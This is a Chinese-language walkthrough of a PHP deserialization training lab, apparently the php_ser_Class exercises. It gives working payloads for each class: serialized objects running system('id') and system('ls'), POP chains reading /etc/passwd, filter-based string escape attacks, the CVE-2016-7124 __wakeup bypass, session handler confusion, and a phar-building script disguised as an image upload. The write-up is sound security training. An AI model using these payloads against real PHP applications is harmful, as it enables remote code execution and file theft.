php反序列化靶场随笔分析
-
项目地址:github.com/mcc0624/php_ser_Class
-
推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags
前面讲了以下php基础,我们直接从class6开始实验
class6
访问页面,传一个序列化的字符串,php代码将其反序列化且调用对象的displayVar()方法 payload: benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class7
__construct(): 类的构造函数,当创建类的实例时自动调用。 __destruct(): 类的析构函数,当对象被销毁时自动调用。 例题:传一个序列化字符串,php代码反序列化为对象,当对象销毁时调用__destruct() payload: benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class8
__sleep(): 执行serialize()时,先会调用这个函数。 传一个参数给对象,对象__sleep()方法调用system执行这个参数,然而php代码在序列化这个对象时,调用了__sleep()方法 payload: benben=id 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 执行unserialize()时,先会调用这个函数。 传一个User 对象序列化后的字符串给参数,php代码会进行反序列化,触发__wakeup(),__wakeup()执行系统命令 payload: benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;} 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class9&class10
__toString(): 类被当作字符串时的回应方法。 __invoke(): 以函数方式调用对象时的回应方法。 __call(): 当调用对象中不可访问的方法时调用 __callStatic(): 以静态方式调用不可访问方法时调用。 __get(): 读取不可访问属性的值时调用(成员属性不存在) __set(): 设置不可访问属性的值时调用。(给不存在的成员赋值) __isset(): 当对不可访问属性调用isset()或empty()时调用。 __unset(): 当对不可访问属性调用unset()时调用。 __clone(): 当对象被克隆时调用。
class11
问题:如果遇到private的属性,在生成序列化的字符串时,如何为其赋值? 操作1:可以先将private修改为public,然后生成序列化的字符串后,在字符串中向这个属性添加类名和%00 操作2:直接给这个类添加一个构造函数,构造函数帮助我们给private属性赋值,赋完值后打印其序列化后的字符串 evil类创建对象作为index类创建的对象的test属性,然而index对象的test属性是private,(obj_index->$test = obj_evil) payload: O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^ 修改后: O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
<?php
// 这个对应操作1
// 将index对象的test属性修改为public或去掉修饰符
class index {var $test;
}
class evil {var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
输出结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 这个对应操作2
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2 = 'system("id");';
}
$obj = new index();
echo serialize($obj);
/*
输出结果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>
class12
目标:输出sec中的tostring is here! payload: benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo $this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";}
}
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>
class13
1.较为敏感的方法:Modifier类中__invoke能触发include($this->var) 2.Modifier对象中__invoke()方法能被Test对象__get魔术方法触发 3.Test对象__get()魔术方法能被Show对象中的__toString()方法触发 4.Show对象中的__toString()方法,能被另一个show对象的__wakeup()方法触发 5.unserialize触发show对象的__wakeup()方法
Show1对象反序列化触发wakeup魔术方法 ---------> Show2对象的__toString()方法--------->Test对象的__get魔术方法 --------->Modifier对象的__invoke方法--------->include($this->var)
<?php
class Modifier {public $par;
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
echo serialize($obj2_Show);
?>
payload: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^ 修改后: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^^^^^^^^^^^^^^^^^
class14
对象序列化为字符串,字符串进行了过滤,过滤掉了"system()",导致字符串长度减少,因此字符串进行反序列化会失败。 那这种情况下,只要给出两个参数供攻击者输入,那么攻击者就能够控制所有属性(包括这两个属性之外的其他属性) 原理:参数1被过滤,导致序列化后v1的数值长度,与v1的实际长度不匹配,且大于实际长度,这时,构造参数2,让v1的值能一直覆盖到参数2来确保v1的数值长度和实际长度相匹配,然后再一次构造参数2用于构造其他属性,导致整个参数1和参数2的前面部分成为数值部分,而参数2的后面部分成为功能性代码
过滤条件: "system()" -> "" 8 -> 0 结果: O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:x:"x个字符";}n = 参数1的长度,同时是v1的长度 x = 参数2的长度,不是v2的长度,因为其是属于v1的值,不是功能性代码 m = n被过滤后的长度 n = m + 13 + x的位数(通常是2位)+ 2 + 一个可控长度的字符串 n = m + 17 + 一个可控长度的字符串 n至少比m多17个字符 输入n对应字符串(参数1): system()system()system() (n=24)(m=0)----->(根据:n = m + 17 + 一个可控长度的字符串,需要长度为7的可控字符串) 输入x对应字符串(参数2): 1234567";s:2:"v2";s:3:"123";}^^^^^^^^ ^^^^^^^^^^^^^^^^^长度为7的可控字符串 我们构造的名为v2的属性 结果: O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ 长度为n=24 可控长度的字符串 过滤后: O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}^^^^^^^^^^^^^^^^^^^^^^^^长度为n=24
v1 = 'system()system()system()'; v2 = '1234567";s:2:"v2";s:3:"123";}'; O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";} object(A)#1 (2) {["v1"]=>string(27) "";s:2:"v2";s:29:"1234567"["v2"]=>string(3) "123" }
class17(17是14的例题,所以放到前面)
过滤条件: flag -> hk 4 -> 2 php -> hk 3 -> 2 O:4:"test":3:{s:4:"user";s:n:"m个字符";s:4:"pass";s:x:"x个字符";s:3:"vip";b:0;} n = 参数1的字符个数 m = n过滤后的字符的个数 x = 参数2字符个数 n = m + 15 + (x的位数,通常是2位) + 2 + 一个可控长度的字符串 n = m + 19 + 一个可控长度的字符串 所以n至少比m多19个字符 输入n对应字符串(参数1): flagflagflagflagflagflagflagflagflagflag (n=40)(m=20)---->(需要长度为1的可控字符串) 输入x对应字符串(参数2): 1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}^^ ^^^^^^^^^^^^^^^长度为1的可控字符串 构造vip属性来控制vip属性的值 O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;} object(test)#1 (3) {["user"]=>string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"["pass"]=>string(3) "123"["vip"]=>bool(true) }
class15
对序列化的字符串添加些字符,导致数值长度与实际长度不符 原理:通过构造第一个参数,使得参数的前面部分为数值,而后面部分作为功能性代码
添加条件: ls -> pwd (2 -> 3) O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:3:"123";} n:参数1的长度,同时是v1的长度 m:n被添加后的长度 a:要构造其他参数的长度 n = m - a 要构造的字符串";s:2:"v2";s:3:"123";} a=22 n = m - 22 参数 = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;} payload: O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";} 添加后: O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
class16
添加条件: php -> hack (3 -> 4) O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";} n:参数1的长度,也是user的长度 m:n被增加后的长度 a:要构造的字符串的长度 n = m - a 要构造的字符串";s:4:"pass";s:8:"escaping";} a = 29 n = m - 29 payload: 参数 = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} 添加后: O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
class18
__wakeup()魔术方法绕过(CVE-2016-7124) 序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
payload: O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}^ ^ 这里绕过正则 这里绕过__wakeup的执行
class19
$obj->enter = &$obj->secret; 使用引用,使得$obj对象的enter和secret属性的值使用的是同一块内存 payload: O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
class20
$_SESSION['benben'] = $_GET['ben']; 以上条件php会将获取到的ben值存储在session会话的benben属性,php先创建一个以session为名的文件,然后将ben进行序列化存储到这个文件中,例如: 当我们传递ben=1234时,存储的文件里的内容如下: benben|s:4:"1234";
另外session属性存储进文件时有三种存储格式,以上演示的是php格式: 1.php格式: 键名+竖线+反序列化的属性 2.php_serialize格式: 反序列化的属性 3.php_binary格式: 二进制格式存储 第一种情况已经演示了,看第二种情况: $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ben=123&b=456时,存储结果: a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";} 第三种情况: ACKbenbens:3:"123";SOHbs:3:"456";
漏洞产生条件:session以php_serialize格式存储属性,而以php格式读取属性 漏洞原理:访问网页时,php后台代码是通过反序列化session对象来获取session属性的值 漏洞影响:我们向session属性中写入我们序列化好的对象,访问时会获取session并反序列化我们写的对象 访问save.php $_SESSION['ben'] = $_GET['a']; 当提交a为如下字符串时 |O:1:"D":1:{s:1:"a";s:13:"system("ls");";} 文件存储内容如下,当以php格式解析并反序列化时 a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";} ^^^^^^^^^^^^^^^^^^^^^ 竖线前的内容被认作键名,竖线后的内容被当作属性,而竖线后的内容我们可以构造 再访问vul.php将会执行恶意代码
class21
漏洞:还是上面的漏洞,提交时候用的是php_serialize格式,读的时候用的php格式 思路:构造payload提交(通过class20的save.php提交),使session属性存储在文件,然后再次访问 访问class20的save.php,payload如下: |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;} 再次访问class21的index.php,他会自动获取session会话,并反序列化session的属性,我们通过payload将Flag对象写入session属性,导致其反序列化 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
class22
漏洞原理:生成的phar文件中,会将对象压缩成序列化的字符串,使用phar://协议加载文件时,会反序列化成为对象 漏洞条件:目标服务器能访问以phar://协议访问到你构造的phar文件 访问:http://localhost/class22/phar.php,会自动生成一个携带Testobj对象的phar文件 访问:http://localhost/class22/index.php,并传参:filename=phar://test.phar&a=phpinfo(); 会反序列化phar文件中的Testobj对象
class23
class TestObject {public function __destruct() {include('flag.php');echo $flag;} } 对TestObject进行反序列化自动获取flag,甚至不需要任何属性
<?php
//构造phar文件
highlight_file(__FILE__);
class TestObject
{
}
if (ini_get('phar.readonly') === 'On') {echo "phar.readonly is set to On";
} else {echo "phar.readonly is not set to On";
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
以上代码获取phar文件后 访问http://localhost/class23/upload.php,上传图片,只能上传图片,就把后缀phar改为jpg/png 访问http://localhost/class23/index.php携带post参数file=phar://upload/test.jpg 会自动将test.jpg文件当作phar文件并反序列化,反序列化触发 __destruct()方法获取flag